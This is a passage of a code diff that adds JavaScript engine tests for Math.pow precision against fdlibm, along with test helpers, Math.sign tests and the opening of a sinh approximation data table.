+ [13.00000000000000000000000000000000000000000000000000000 , 63],
+ [13.00000000000000000000000000000000000000000000000000000 , 31],
+ [13.00000000000000000000000000000000000000000000000000000 , 49],
+ [13.00000000000000000000000000000000000000000000000000000 , 58],
+ [13.00000000000000000000000000000000000000000000000000000 , 31],
+ [11.00000000000000000000000000000000000000000000000000000 , 63],
+ [13.00000000000000000000000000000000000000000000000000000 , 31],
+);
+
+// Test program modified to only use small integer bases (< 20) and negative exponents.
+//
+// ```cpp
+// f = static_cast<double>(x);
+// f = std::fmod(f, 20);
+// y &= 63;
+// y = -y;
+// ```
+//
+// 14.00000000000000000000000000000000000000000000000000000 ** -57: 0x325f938745f05e58 != 0x325f938745f05e5a (0x325f938745f05e5a) (0x325f938745f05e5a)
+// 11.00000000000000000000000000000000000000000000000000000 ** -53: 0x34791bddc7b3025a != 0x34791bddc7b30259 (0x34791bddc7b30258) (0x34791bddc7b30259)
+// 7.00000000000000000000000000000000000000000000000000000 ** -57: 0x35ef938745f05e58 != 0x35ef938745f05e5a (0x35ef938745f05e5a) (0x35ef938745f05e5a)
+// 15.00000000000000000000000000000000000000000000000000000 ** -50: 0x33b933babb6d9cd8 != 0x33b933babb6d9cda (0x33b933babb6d9cda) (0x33b933babb6d9cda)
+// 14.00000000000000000000000000000000000000000000000000000 ** -57: 0x325f938745f05e58 != 0x325f938745f05e5a (0x325f938745f05e5a) (0x325f938745f05e5a)
+// 13.00000000000000000000000000000000000000000000000000000 ** -33: 0x384d8ee9f0edfd7c != 0x384d8ee9f0edfd7d (0x384d8ee9f0edfd7e) (0x384d8ee9f0edfd7d)
+// 19.00000000000000000000000000000000000000000000000000000 ** -53: 0x31dd0994e8aaf4e0 != 0x31dd0994e8aaf4e1 (0x31dd0994e8aaf4e2) (0x31dd0994e8aaf4e1)
+// 15.00000000000000000000000000000000000000000000000000000 ** -50: 0x33b933babb6d9cd8 != 0x33b933babb6d9cda (0x33b933babb6d9cda) (0x33b933babb6d9cda)
+// 14.00000000000000000000000000000000000000000000000000000 ** -57: 0x325f938745f05e58 != 0x325f938745f05e5a (0x325f938745f05e5a) (0x325f938745f05e5a)
+// 13.00000000000000000000000000000000000000000000000000000 ** -63: 0x315d4a0a2c8d4bd8 != 0x315d4a0a2c8d4bdb (0x315d4a0a2c8d4bdb) (0x315d4a0a2c8d4bdb)
+// 11.00000000000000000000000000000000000000000000000000000 ** -53: 0x34791bddc7b3025a != 0x34791bddc7b30259 (0x34791bddc7b30258) (0x34791bddc7b30259)
+// 15.00000000000000000000000000000000000000000000000000000 ** -50: 0x33b933babb6d9cd8 != 0x33b933babb6d9cda (0x33b933babb6d9cda) (0x33b933babb6d9cda)
+// 13.00000000000000000000000000000000000000000000000000000 ** -53: 0x33ad60ed868e2926 != 0x33ad60ed868e2928 (0x33ad60ed868e2928) (0x33ad60ed868e2928)
+// 19.00000000000000000000000000000000000000000000000000000 ** -53: 0x31dd0994e8aaf4e0 != 0x31dd0994e8aaf4e1 (0x31dd0994e8aaf4e2) (0x31dd0994e8aaf4e1)
+// 13.00000000000000000000000000000000000000000000000000000 ** -33: 0x384d8ee9f0edfd7c != 0x384d8ee9f0edfd7d (0x384d8ee9f0edfd7e) (0x384d8ee9f0edfd7d)
+testCases.push(
+ [14.00000000000000000000000000000000000000000000000000000 , -57],
+ [11.00000000000000000000000000000000000000000000000000000 , -53],
+ [7.00000000000000000000000000000000000000000000000000000 , -57],
+ [15.00000000000000000000000000000000000000000000000000000 , -50],
+ [14.00000000000000000000000000000000000000000000000000000 , -57],
+ [13.00000000000000000000000000000000000000000000000000000 , -33],
+ [19.00000000000000000000000000000000000000000000000000000 , -53],
+ [15.00000000000000000000000000000000000000000000000000000 , -50],
+ [14.00000000000000000000000000000000000000000000000000000 , -57],
+ [13.00000000000000000000000000000000000000000000000000000 , -63],
+ [11.00000000000000000000000000000000000000000000000000000 , -53],
+ [15.00000000000000000000000000000000000000000000000000000 , -50],
+ [13.00000000000000000000000000000000000000000000000000000 , -53],
+ [19.00000000000000000000000000000000000000000000000000000 , -53],
+ [13.00000000000000000000000000000000000000000000000000000 , -33],
+);
+
+// std::pow is less precise on Windows.
+const maxError = getBuildConfiguration().windows ? 3 : 1;
+
+// Ensure the error is less-or-equal to |maxError| ULP when compared to fdlibm.
+for (let [x, y] of testCases) {
+ let actual = Math.pow(x, y);
+ let expected = fdlibm.pow(x, y);
+ let error = errorInULP(actual, expected);
+
+ assertEq(error <= maxError, true,
+ `${x} ** ${y}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+// Test program modified to use 4 as the exponent:
+//
+// ```cpp
+// y = 4;
+// ```
+//
+// -0.00000000000000000000000000000749666789562697097993956 ** 4: 0x27bfdbe3cf0b7e1d != 0x27bfdbe3cf0b7e1b (0x27bfdbe3cf0b7e1b) (0x27bfdbe3cf0b7e1b)
+// 0.00000000000000000000000000000000000000000000000000000 ** 4: 0xd3e1e77bd0d8f5d != 0xd3e1e77bd0d8f5f (0xd3e1e77bd0d8f5f) (0xd3e1e77bd0d8f5f)
+// -0.00000000000000000000000000023705601542216470968966009 ** 4: 0x28fe60d2f5131d02 != 0x28fe60d2f5131d04 (0x28fe60d2f5131d04) (0x28fe60d2f5131d04)
+// 0.00000000000000000000000000000000000000000000000000441 ** 4: 0x161dad0fa681c66c != 0x161dad0fa681c66b (0x161dad0fa681c66a) (0x161dad0fa681c66b)
+// 0.00000000000000537255761599995092558925668894011631095 ** 4: 0x3414eb4baea214b6 != 0x3414eb4baea214b5 (0x3414eb4baea214b4) (0x3414eb4baea214b5)
+// 0.01225688384384779339164595057809492573142051696777344 ** 4: 0x3e583bd550871dfc != 0x3e583bd550871dfd (0x3e583bd550871dfe) (0x3e583bd550871dfd)
+// -0.00000000000000000000000000000000000000000000000000000 ** 4: 0xa59292360f6d326 != 0xa59292360f6d324 (0xa59292360f6d324) (0xa59292360f6d324)
+// -0.00000000000000000000000000000000000000000000000000000 ** 4: 0x109fb7a8459811ec != 0x109fb7a8459811ed (0x109fb7a8459811ee) (0x109fb7a8459811ed)
+// -120834175976112453093144522854609799898808186321228136949237230085114691584.00000000000000000000000000000000000000000000000000000 ** 4: 0x7d74dcc37a2d7dc2 != 0x7d74dcc37a2d7dc3 (0x7d74dcc37a2d7dc4) (0x7d74dcc37a2d7dc3)
+// -6676.83140968165753292851150035858154296875000000000000000 ** 4: 0x431c3e0ef48fe66a != 0x431c3e0ef48fe66c (0x431c3e0ef48fe66c) (0x431c3e0ef48fe66c)
+// -0.00000000000000000000000000000000000000000000039753861 ** 4: 0x1a3a87f39f288766 != 0x1a3a87f39f288764 (0x1a3a87f39f288764) (0x1a3a87f39f288764)
+// 129749516186492032220917661696.00000000000000000000000000000000000000000000000000000 ** 4: 0x581cc58a512bdd10 != 0x581cc58a512bdd12 (0x581cc58a512bdd12) (0x581cc58a512bdd12)
+// -1888635225450734959219733085647207705818299180319259746124169216.00000000000000000000000000000000000000000000000000000 ** 4: 0x747bc423aba49de6 != 0x747bc423aba49de5 (0x747bc423aba49de4) (0x747bc423aba49de5)
+// 7934926680560039158281691725824.00000000000000000000000000000000000000000000000000000 ** 4: 0x5997fceb5eed5c94 != 0x5997fceb5eed5c93 (0x5997fceb5eed5c92) (0x5997fceb5eed5c93)
+// -0.00000000000000579868166379701264244398310517312073637 ** 4: 0x341c635a1a764ef2 != 0x341c635a1a764ef0 (0x341c635a1a764ef0) (0x341c635a1a764ef0)
+//
+//
+// Test program modified to avoid bases with |abs(x) < 1| and large exponents.
+//
+// ```cpp
+// // Skip over likely denormals.
+// if (-1 < f && f < 0) {
+// f -= 1;
+// } else if (0 < f && f < 1) {
+// f += 1;
+// }
+//
+// f = std::fmod(f, 20);
+//
+// y = 4;
+// ```
+//
+// 4.73347349464893341064453125000000000000000000000000000 ** 4: 0x407f604c239c2323 != 0x407f604c239c2321 (0x407f604c239c2321) (0x407f604c239c2321)
+// -12.35635152040049433708190917968750000000000000000000000 ** 4: 0x40d6c3c0652f0948 != 0x40d6c3c0652f0949 (0x40d6c3c0652f094a) (0x40d6c3c0652f0949)
+// -1.50385549572482823954544528533006086945533752441406250 ** 4: 0x40147581145bc6e6 != 0x40147581145bc6e7 (0x40147581145bc6e8) (0x40147581145bc6e7)
+// -8.93048901623114943504333496093750000000000000000000000 ** 4: 0x40b8d8a463c28bd6 != 0x40b8d8a463c28bd7 (0x40b8d8a463c28bd8) (0x40b8d8a463c28bd7)
+// 19.02711385915608843788504600524902343750000000000000000 ** 4: 0x40ffffa7d5df2562 != 0x40ffffa7d5df2560 (0x40ffffa7d5df2560) (0x40ffffa7d5df2560)
+// 17.83878016096969076897948980331420898437500000000000000 ** 4: 0x40f8b914a6acb498 != 0x40f8b914a6acb497 (0x40f8b914a6acb496) (0x40f8b914a6acb497)
+// 12.90541613101959228515625000000000000000000000000000000 ** 4: 0x40db16b4c2dafa0a != 0x40db16b4c2dafa0c (0x40db16b4c2dafa0c) (0x40db16b4c2dafa0c)
+// -18.34655402903445065021514892578125000000000000000000000 ** 4: 0x40fba90e5b7bbc6a != 0x40fba90e5b7bbc6b (0x40fba90e5b7bbc6c) (0x40fba90e5b7bbc6b)
+// -13.28634420270100235939025878906250000000000000000000000 ** 4: 0x40de6e70b9ed821a != 0x40de6e70b9ed821c (0x40de6e70b9ed821c) (0x40de6e70b9ed821c)
+// 18.52965961024165153503417968750000000000000000000000000 ** 4: 0x40fcc800b850b01a != 0x40fcc800b850b018 (0x40fcc800b850b018) (0x40fcc800b850b018)
+// 13.32226210648514097556471824645996093750000000000000000 ** 4: 0x40dec3063a559350 != 0x40dec3063a55934e (0x40dec3063a55934e) (0x40dec3063a55934e)
+// 1.09174693829848346027233674249146133661270141601562500 ** 4: 0x3ff6bafe5bbe7532 != 0x3ff6bafe5bbe7533 (0x3ff6bafe5bbe7534) (0x3ff6bafe5bbe7533)
+// 9.35059530444141273619607090950012207031250000000000000 ** 4: 0x40bddca3dd9f5c8f != 0x40bddca3dd9f5c91 (0x40bddca3dd9f5c91) (0x40bddca3dd9f5c91)
+// 17.59552449546754360198974609375000000000000000000000000 ** 4: 0x40f766db2706f434 != 0x40f766db2706f435 (0x40f766db2706f436) (0x40f766db2706f435)
+// 17.94561576098203659057617187500000000000000000000000000 ** 4: 0x40f952110041965c != 0x40f952110041965a (0x40f952110041965a) (0x40f952110041965a)
+const testCases4 = [
+ [-0.00000000000000000000000000000749666789562697097993956 , 4],
+ [0.00000000000000000000000000000000000000000000000000000 , 4],
+ [-0.00000000000000000000000000023705601542216470968966009 , 4],
+ [0.00000000000000000000000000000000000000000000000000441 , 4],
+ [0.00000000000000537255761599995092558925668894011631095 , 4],
+ [0.01225688384384779339164595057809492573142051696777344 , 4],
+ [-0.00000000000000000000000000000000000000000000000000000 , 4],
+ [-0.00000000000000000000000000000000000000000000000000000 , 4],
+ [-120834175976112453093144522854609799898808186321228136949237230085114691584.00000000000000000000000000000000000000000000000000000 , 4],
+ [-6676.83140968165753292851150035858154296875000000000000000 , 4],
+ [-0.00000000000000000000000000000000000000000000039753861 , 4],
+ [129749516186492032220917661696.00000000000000000000000000000000000000000000000000000 , 4],
+ [-1888635225450734959219733085647207705818299180319259746124169216.00000000000000000000000000000000000000000000000000000 , 4],
+ [7934926680560039158281691725824.00000000000000000000000000000000000000000000000000000 , 4],
+ [-0.00000000000000579868166379701264244398310517312073637 , 4],
+
+ [4.73347349464893341064453125000000000000000000000000000 , 4],
+ [-12.35635152040049433708190917968750000000000000000000000 , 4],
+ [-1.50385549572482823954544528533006086945533752441406250 , 4],
+ [-8.93048901623114943504333496093750000000000000000000000 , 4],
+ [19.02711385915608843788504600524902343750000000000000000 , 4],
+ [17.83878016096969076897948980331420898437500000000000000 , 4],
+ [12.90541613101959228515625000000000000000000000000000000 , 4],
+ [-18.34655402903445065021514892578125000000000000000000000 , 4],
+ [-13.28634420270100235939025878906250000000000000000000000 , 4],
+ [18.52965961024165153503417968750000000000000000000000000 , 4],
+ [13.32226210648514097556471824645996093750000000000000000 , 4],
+ [1.09174693829848346027233674249146133661270141601562500 , 4],
+ [9.35059530444141273619607090950012207031250000000000000 , 4],
+ [17.59552449546754360198974609375000000000000000000000000 , 4],
+ [17.94561576098203659057617187500000000000000000000000000 , 4],
+];
+
+// Ensure the error is less-or-equal to 2 ULP when compared to fdlibm.
+//
+// This can produce a larger error than std::pow, because we evaluate
+// |x ** 4| as |(x * x) * (x * x)| to match Ion.
+for (let [x, y] of testCases4) {
+ let actual = Math.pow(x, y);
+ let expected = fdlibm.pow(x, y);
+ let error = errorInULP(actual, expected);
+ assertEq(error <= 2, true,
+ `${x} ** ${y}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+for (let [x, y] of testCases4) {
+ // Replace |y| with a constant to trigger Ion optimisations.
+ let actual = Math.pow(x, 4);
+ let expected = fdlibm.pow(x, y);
+ let error = errorInULP(actual, expected);
+ assertEq(error <= 2, true,
+ `${x} ** ${y}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+// Test program modified to use 3 as the exponent:
+//
+// ```cpp
+// y = 3;
+// ```
+//
+// 196194373276.42089843750000000000000000000000000000000000000000000 ** 3: 0x46f745720bc58e22 != 0x46f745720bc58e23 (0x46f745720bc58e24) (0x46f745720bc58e23)
+// 17260025115986696435331651385474892363490876322742272.00000000000000000000000000000000000000000000000000000 ** 3: 0x6077f8040eb542fc != 0x6077f8040eb542fb (0x6077f8040eb542fa) (0x6077f8040eb542fb)
+// -0.00000000000000000000000000000000000000000000000000000 ** 3: 0x9307c17ddf2c4af6 != 0x9307c17ddf2c4af7 (0x9307c17ddf2c4af8) (0x9307c17ddf2c4af7)
+// 2359506498398344427475761591701240715936602989985583832867274752.00000000000000000000000000000000000000000000000000000 ** 3: 0x6767960b1076dc24 != 0x6767960b1076dc25 (0x6767960b1076dc26) (0x6767960b1076dc25)
+// 22724457948673043906745552566513068013978508710758109286797554897659283949989408425377792.00000000000000000000000000000000000000000000000000000 ** 3: 0x76f74ab82115b372 != 0x76f74ab82115b373 (0x76f74ab82115b374) (0x76f74ab82115b373)
+// -1024872849611580448634200763411882795753013248.00000000000000000000000000000000000000000000000000000 ** 3: 0xdbf7b2694dce1d6c != 0xdbf7b2694dce1d6b (0xdbf7b2694dce1d6a) (0xdbf7b2694dce1d6b)
+// -918435268181356203923125447950336.00000000000000000000000000000000000000000000000000000 ** 3: 0xd476ab3173dbfcc0 != 0xd476ab3173dbfcbf (0xd476ab3173dbfcbe) (0xd476ab3173dbfcbf)
+// 558545783776545344834655968246618719333738303286453207040.00000000000000000000000000000000000000000000000000000 ** 3: 0x634716045b3ee61c != 0x634716045b3ee61b (0x634716045b3ee61a) (0x634716045b3ee61b)
+// 0.00000000000000000000000000000000000000000000000000000 ** 3: 0x1c6f3bddc90315c != 0x1c6f3bddc90315b (0x1c6f3bddc90315a) (0x1c6f3bddc90315b)
+// -0.00000000000261062225071774409619236799548496917242058 ** 3: 0xb8b7a667f8b6344e != 0xb8b7a667f8b6344f (0xb8b7a667f8b63450) (0xb8b7a667f8b6344f)
+// 0.00000000000000000000000000000000000000000000012475377 ** 3: 0x23571f25316bb01e != 0x23571f25316bb01f (0x23571f25316bb020) (0x23571f25316bb01f)
+// -0.00000000000000000000000000000000000000000000000000000 ** 3: 0x93f6c04c12acc76c != 0x93f6c04c12acc76d (0x93f6c04c12acc76e) (0x93f6c04c12acc76d)
+// 0.00000000000000000000000000000000000000000000000000000 ** 3: 0x676eb3aa0a63236 != 0x676eb3aa0a63237 (0x676eb3aa0a63238) (0x676eb3aa0a63237)
+// 0.00000000000000000000000007454937961610833261396029146 ** 3: 0x3047fcbe59481112 != 0x3047fcbe59481111 (0x3047fcbe59481110) (0x3047fcbe59481111)
+// 0.00000000000000000000000000000000000003326770580987513 ** 3: 0x2896aaec8bb845c8 != 0x2896aaec8bb845c9 (0x2896aaec8bb845ca) (0x2896aaec8bb845c9)
+//
+//
+// Test program modified to avoid bases with |abs(x) < 1| and large exponents.
+//
+// ```cpp
+// // Skip over likely denormals.
+// if (-1 < f && f < 0) {
+// f -= 1;
+// } else if (0 < f && f < 1) {
+// f += 1;
+// }
+//
+// f = std::fmod(f, 20);
+//
+// y = 3;
+// ```
+//
+// -11.40858423709869384765625000000000000000000000000000000 ** 3: 0xc0973392c88cadcc != 0xc0973392c88cadcd (0xc0973392c88cadce) (0xc0973392c88cadcd)
+// 11.42477834224700927734375000000000000000000000000000000 ** 3: 0x40974ce701d58518 != 0x40974ce701d58519 (0x40974ce701d5851a) (0x40974ce701d58519)
+// -11.46123231985238533070514677092432975769042968750000000 ** 3: 0xc097862ed0211e58 != 0xc097862ed0211e59 (0xc097862ed0211e5a) (0xc097862ed0211e59)
+// -11.40183842182159423828125000000000000000000000000000000 ** 3: 0xc097290b23fe8cdc != 0xc097290b23fe8cdd (0xc097290b23fe8cde) (0xc097290b23fe8cdd)
+// 2.87109172078278795936512324260547757148742675781250000 ** 3: 0x4037aab95517cdd0 != 0x4037aab95517cdcf (0x4037aab95517cdce) (0x4037aab95517cdcf)
+// -0.72109144181013107299804687500000000000000000000000000 ** 3: 0xbfd7ff25d4fd46bc != 0xbfd7ff25d4fd46bd (0xbfd7ff25d4fd46be) (0xbfd7ff25d4fd46bd)
+// 5.70116788148880004882812500000000000000000000000000000 ** 3: 0x406729d1c53687b4 != 0x406729d1c53687b5 (0x406729d1c53687b6) (0x406729d1c53687b5)
+// -11.32285048566092200417187996208667755126953125000000000 ** 3: 0xc096aeac14d25c0e != 0xc096aeac14d25c0f (0xc096aeac14d25c10) (0xc096aeac14d25c0f)
+// 1.41961999237537384033203125000000000000000000000000000 ** 3: 0x4006e34ea8957732 != 0x4006e34ea8957733 (0x4006e34ea8957734) (0x4006e34ea8957733)
+// -11.52091628707762538397219032049179077148437500000000000 ** 3: 0xc097e4c12ab5e96e != 0xc097e4c12ab5e96f (0xc097e4c12ab5e970) (0xc097e4c12ab5e96f)
+// -5.73415940999984741210937500000000000000000000000000000 ** 3: 0xc067915c3febbeba != 0xc067915c3febbebb (0xc067915c3febbebc) (0xc067915c3febbebb)
+// 1.41478560105390638312883311300538480281829833984375000 ** 3: 0x4006a7a69b402738 != 0x4006a7a69b402737 (0x4006a7a69b402736) (0x4006a7a69b402737)
+// -2.88328036665916442871093750000000000000000000000000000 ** 3: 0xc037f8371e1d17ce != 0xc037f8371e1d17cf (0xc037f8371e1d17d0) (0xc037f8371e1d17cf)
+// 1.42408178602072932328326260176254436373710632324218750 ** 3: 0x40071aba43b3bcea != 0x40071aba43b3bceb (0x40071aba43b3bcec) (0x40071aba43b3bceb)
+// 11.48128501093015074729919433593750000000000000000000000 ** 3: 0x4097a5d8fdac3954 != 0x4097a5d8fdac3955 (0x4097a5d8fdac3956) (0x4097a5d8fdac3955)
+const testCases3 = [
+ [196194373276.42089843750000000000000000000000000000000000000000000 , 3],
+ [17260025115986696435331651385474892363490876322742272.00000000000000000000000000000000000000000000000000000 , 3],
+ [-0.00000000000000000000000000000000000000000000000000000 , 3],
+ [2359506498398344427475761591701240715936602989985583832867274752.00000000000000000000000000000000000000000000000000000 , 3],
+ [22724457948673043906745552566513068013978508710758109286797554897659283949989408425377792.00000000000000000000000000000000000000000000000000000 , 3],
+ [-1024872849611580448634200763411882795753013248.00000000000000000000000000000000000000000000000000000 , 3],
+ [-918435268181356203923125447950336.00000000000000000000000000000000000000000000000000000 , 3],
+ [558545783776545344834655968246618719333738303286453207040.00000000000000000000000000000000000000000000000000000 , 3],
+ [0.00000000000000000000000000000000000000000000000000000 , 3],
+ [-0.00000000000261062225071774409619236799548496917242058 , 3],
+ [0.00000000000000000000000000000000000000000000012475377 , 3],
+ [-0.00000000000000000000000000000000000000000000000000000 , 3],
+ [0.00000000000000000000000000000000000000000000000000000 , 3],
+ [0.00000000000000000000000007454937961610833261396029146 , 3],
+ [0.00000000000000000000000000000000000003326770580987513 , 3],
+
+ [-11.40858423709869384765625000000000000000000000000000000 , 3],
+ [11.42477834224700927734375000000000000000000000000000000 , 3],
+ [-11.46123231985238533070514677092432975769042968750000000 , 3],
+ [-11.40183842182159423828125000000000000000000000000000000 , 3],
+ [2.87109172078278795936512324260547757148742675781250000 , 3],
+ [-0.72109144181013107299804687500000000000000000000000000 , 3],
+ [5.70116788148880004882812500000000000000000000000000000 , 3],
+ [-11.32285048566092200417187996208667755126953125000000000 , 3],
+ [1.41961999237537384033203125000000000000000000000000000 , 3],
+ [-11.52091628707762538397219032049179077148437500000000000 , 3],
+ [-5.73415940999984741210937500000000000000000000000000000 , 3],
+ [1.41478560105390638312883311300538480281829833984375000 , 3],
+ [-2.88328036665916442871093750000000000000000000000000000 , 3],
+ [1.42408178602072932328326260176254436373710632324218750 , 3],
+ [11.48128501093015074729919433593750000000000000000000000 , 3],
+];
+
+// Ensure the error is less-or-equal to 2 ULP when compared to fdlibm.
+//
+// This can produce a larger error than std::pow, because we evaluate
+// |x ** 3| as |(x * x) * x| to match Ion.
+for (let [x, y] of testCases3) {
+ let actual = Math.pow(x, y);
+ let expected = fdlibm.pow(x, y);
+ let error = errorInULP(actual, expected);
+ assertEq(error <= 2, true,
+ `${x} ** ${y}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+for (let [x, y] of testCases3) {
+ // Replace |y| with a constant to trigger Ion optimisations.
+ let actual = Math.pow(x, 3);
+ let expected = fdlibm.pow(x, y);
+ let error = errorInULP(actual, expected);
+ assertEq(error <= 2, true,
+ `${x} ** ${y}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Math/shell.js b/js/src/tests/non262/Math/shell.js
new file mode 100644
index 0000000000..7a64eccac9
--- /dev/null
+++ b/js/src/tests/non262/Math/shell.js
@@ -0,0 +1,74 @@
+// The nearest representable values to +1.0.
+const ONE_PLUS_EPSILON = 1 + Math.pow(2, -52); // 0.9999999999999999
+const ONE_MINUS_EPSILON = 1 - Math.pow(2, -53); // 1.0000000000000002
+
+{
+ const fail = function (msg) {
+ var exc = new Error(msg);
+ try {
+ // Try to improve on exc.fileName and .lineNumber; leave exc.stack
+ // alone. We skip two frames: fail() and its caller, an assertX()
+ // function.
+ var frames = exc.stack.trim().split("\n");
+ if (frames.length > 2) {
+ var m = /@([^@:]*):([0-9]+)$/.exec(frames[2]);
+ if (m) {
+ exc.fileName = m[1];
+ exc.lineNumber = +m[2];
+ }
+ }
+ } catch (ignore) { throw ignore;}
+ throw exc;
+ };
+
+ let ENDIAN; // 0 for little-endian, 1 for big-endian.
+
+ // Return the difference between the IEEE 754 bit-patterns for a and b.
+ //
+ // This is meaningful when a and b are both finite and have the same
+ // sign. Then the following hold:
+ //
+ // * If a === b, then diff(a, b) === 0.
+ //
+ // * If a !== b, then diff(a, b) === 1 + the number of representable values
+ // between a and b.
+ //
+ const f = new Float64Array([0, 0]);
+ const u = new Uint32Array(f.buffer);
+ const diff = function (a, b) {
+ f[0] = a;
+ f[1] = b;
+ //print(u[1].toString(16) + u[0].toString(16) + " " + u[3].toString(16) + u[2].toString(16));
+ return Math.abs((u[3-ENDIAN] - u[1-ENDIAN]) * 0x100000000 + u[2+ENDIAN] - u[0+ENDIAN]);
+ };
+
+ // Set ENDIAN to the platform's endianness.
+ ENDIAN = 0; // try little-endian first
+ if (diff(2, 4) === 0x100000) // exact wrong answer we'll get on a big-endian platform
+ ENDIAN = 1;
+ assertEq(diff(2,4), 0x10000000000000);
+ assertEq(diff(0, Number.MIN_VALUE), 1);
+ assertEq(diff(1, ONE_PLUS_EPSILON), 1);
+ assertEq(diff(1, ONE_MINUS_EPSILON), 1);
+
+ var assertNear = function assertNear(a, b, tolerance=1) {
+ if (!Number.isFinite(b)) {
+ fail("second argument to assertNear (expected value) must be a finite number");
+ } else if (Number.isNaN(a)) {
+ fail("got NaN, expected a number near " + b);
+ } else if (!Number.isFinite(a)) {
+ if (b * Math.sign(a) < Number.MAX_VALUE)
+ fail("got " + a + ", expected a number near " + b);
+ } else {
+ // When the two arguments do not have the same sign bit, diff()
+ // returns some huge number. So if b is positive or negative 0,
+ // make target the zero that has the same sign bit as a.
+ var target = b === 0 ? a * 0 : b;
+ var err = diff(a, target);
+ if (err > tolerance) {
+ fail("got " + a + ", expected a number near " + b +
+ " (relative error: " + err + ")");
+ }
+ }
+ };
+}
diff --git a/js/src/tests/non262/Math/sign.js b/js/src/tests/non262/Math/sign.js
new file mode 100644
index 0000000000..5552dfc3d4
--- /dev/null
+++ b/js/src/tests/non262/Math/sign.js
@@ -0,0 +1,34 @@
+// If x is NaN, the result is NaN.
+assertEq(Math.sign(NaN), NaN);
+
+// If x is −0, the result is −0.
+assertEq(Math.sign(-0), -0);
+
+// If x is +0, the result is +0.
+assertEq(Math.sign(+0), +0);
+
+// If x is negative and not −0, the result is −1.
+assertEq(Math.sign(-Number.MIN_VALUE), -1);
+assertEq(Math.sign(-Number.MAX_VALUE), -1);
+assertEq(Math.sign(-Infinity), -1);
+
+for (var i = -1; i > -20; i--)
+ assertEq(Math.sign(i), -1);
+
+assertEq(Math.sign(-1e-300), -1);
+assertEq(Math.sign(-0x80000000), -1);
+
+// If x is positive and not +0, the result is +1.
+assertEq(Math.sign(Number.MIN_VALUE), +1);
+assertEq(Math.sign(Number.MAX_VALUE), +1);
+assertEq(Math.sign(Infinity), +1);
+
+for (var i = 1; i < 20; i++)
+ assertEq(Math.sign(i), +1);
+
+assertEq(Math.sign(+1e-300), +1);
+assertEq(Math.sign(0x80000000), +1);
+assertEq(Math.sign(0xffffffff), +1);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/sinh-approx.js b/js/src/tests/non262/Math/sinh-approx.js
new file mode 100644
index 0000000000..15170dc666
--- /dev/null
+++ b/js/src/tests/non262/Math/sinh-approx.js
@@ -0,0 +1,297 @@
+for (var i = -20; i < 20; i++)
+ assertNear(Math.sinh(i), (Math.exp(i) - Math.exp(-i)) / 2);
+
+assertEq(Math.sinh(1000), Infinity);
+assertEq(Math.sinh(Number.MAX_VALUE), Infinity);
+assertNear(Math.sinh(1e-30), 1e-30);
+assertNear(Math.sinh(1e-10), 1e-10);
+
+var sinh_data = [
+ [-6.902103625349695, -497.1816406250001],
+ [-6.898143347143859, -495.21655273437517],
+ [-6.883664481302669, -488.0980224609375],
+ [-6.880304842490273, -486.46093750000006],
+ [-6.871561546509046, -482.2261962890624],
+ [-6.841973895837549, -468.167236328125],
+ [-6.836376331805493, -465.5539550781251],
+ [-6.833654100575195, -464.2883300781251],
+ [-6.8320816635009045, -463.55883789062483],
+ [-6.8108680173663085, -453.82861328125],
+ [-6.799689165151487, -448.78356933593756],
+ [-6.793579326246197, -446.0499267578126],
+ [-6.762510387544996, -432.4046630859374],
+ [-6.743225720989222, -424.14575195312506],
+ [-6.691758395994307, -402.86828613281244],
+ [-6.690743430063694, -402.4595947265625],
+ [-6.6596501292114505, -390.1383056640624],
+ [-6.652956360641761, -387.5355224609375],
+ [-6.635954365364267, -381.00231933593767],
+ [-6.619587562578274, -374.81726074218744],
+ [-6.617681179427804, -374.10339355468744],
+ [-6.614762741096185, -373.0131835937501],
+ [-6.60690568753706, -370.0938720703124],
+ [-6.591738907156094, -364.5230712890626],
+ [-6.583066984213974, -361.3756103515625],
+ [-6.573999516974134, -358.1136474609374],
+ [-6.553610904389896, -350.8861083984376],
+ [-6.553097634736138, -350.7060546875001],
+ [-6.538320325468202, -345.56164550781267],
+ [-6.529090881007076, -342.386962890625],
+ [-6.527791927233787, -341.94250488281256],
+ [-6.514383886150781, -337.38830566406244],
+ [-6.488639771044976, -328.8133544921875],
+ [-6.480460592697477, -326.13488769531256],
+ [-6.439759999015992, -313.1274414062499],
+ [-6.434927968512049, -311.61804199218744],
+ [-6.4082177348965725, -303.4047851562501],
+ [-6.369671035834965, -291.93200683593756],
+ [-6.362310184909175, -289.79101562500006],
+ [-6.356373428913315, -288.0756835937499],
+ [-6.337756593913614, -282.76220703125006],
+ [-6.32424009706147, -278.96594238281256],
+ [-6.314232650754295, -276.18811035156256],
+ [-6.290994606392703, -269.8439941406249],
+ [-6.240182555852785, -256.4750976562499],
+ [-6.2102675039793604, -248.9161987304687],
+ [-6.197335184435549, -245.71783447265628],
+ [-6.194021350132335, -244.90490722656253],
+ [-6.184119163536406, -242.4917602539062],
+ [-6.104686221071835, -223.97491455078116],
+ [-6.100669325836893, -223.07702636718747],
+ [-6.093582856519022, -221.50177001953122],
+ [-6.0598807500687935, -214.16101074218741],
+ [-6.0062142965262515, -202.97058105468741],
+ [-5.9923121073369945, -200.1683349609375],
+ [-5.981859446096083, -198.08691406249997],
+ [-5.9497792165852905, -191.83300781250006],
+ [-5.90509449745879, -183.44958496093747],
+ [-5.902097012275789, -182.90051269531256],
+ [-5.8144483910067954, -167.55175781250006],
+ [-5.786154254111214, -162.8773803710938],
+ [-5.765917008989405, -159.61425781250006],
+ [-5.703902219845274, -150.0162963867188],
+ [-5.6926689504460395, -148.34051513671872],
+ [-5.685206387751923, -147.23760986328122],
+ [-5.660572815631807, -143.6548461914062],
+ [-5.625516713960633, -138.70599365234375],
+ [-5.476934234171879, -119.55416870117192],
+ [-5.467584665632571, -118.4415588378906],
+ [-5.417932675603434, -112.70410156250004],
+ [-5.406565756574079, -111.43020629882811],
+ [-5.373195678988387, -107.77297973632808],
+ [-5.3723285712183735, -107.67956542968749],
+ [-5.348004040102253, -105.09179687499999],
